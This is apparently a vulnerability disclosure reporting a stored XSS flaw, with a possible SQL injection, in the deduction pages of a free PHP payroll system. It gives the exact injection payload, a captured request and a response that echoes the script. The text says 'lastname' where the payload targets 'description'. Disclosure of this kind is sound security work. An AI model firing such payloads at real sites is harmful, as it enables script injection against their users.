

XSS injection vulnerability exists in description parameter of /admin/deduction\_edit.php and /admin/deduction.php file of Online Payroll System in PHP and MySQL Free Download A Comprehensive Guide

After modifying the value of lastname in the /admin/deduction\_edit.php, a JavaScript function will be displayed in the /admin/deduction.php.

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The image displays a code editor and a web browser's developer tools. The code editor shows PHP code for updating a deduction record. The web browser's developer tools show the request and response for the /admin/deduction\_edit.php endpoint. The request is a POST request with a payload that includes a JavaScript alert function triggered by an XSS attack. The response is a 302 Found status, indicating a redirect.

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Send Cancel Target: http://192.168.19.1 HTTP/1

**Request**  
Pretty Raw Hex  
1 GET /onlinepayrollphp/admin/deduction.php HTTP/1.1  
2 Referer: http://192.168.19.1/onlinepayrollphp/admin/deduction\_edit.php  
3 Cookie: PHPSESSID=3qqrfb3tp1hh3s6ghil37grugs  
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
5 Accept-Encoding: gzip,deflate,br  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
7 Host: 192.168.19.1  
8 Connection: Keep-alive  
9  
10

**Response**  
Pretty Raw Hex Render  
262 <i class='icon fa fa-warning'>  
</i>  
Error!  
</h4>  
You have an error in your SQL syntax;  
check the manual that corresponds to  
your MySQL server version for the  
right syntax to use near '()'&%<zzz>  
<ScRiPt >  
alert(9135)  
</ScRiPt>  
, amount = '1' WHERE id = '1' at  
line 1  
263 </div>  
264 <div class="row">  
265 <div class="col-xs-12">  
266 <div class="box">  
267 <div class="box-header  
with-border">  
<a href="#addnew" data-toggle=  
268

Inspector  
0 matches 9135 1 match  
Ready 96,976 bytes | 7 millis

Payload:

amount=1&description="')%26%25<zzz><ScRiPt%20>alert(9135)</ScRiPt>&edit=&id=1

Source Download:

<https://www.campcodes.com/projects/php/online-payroll-system-in-php/>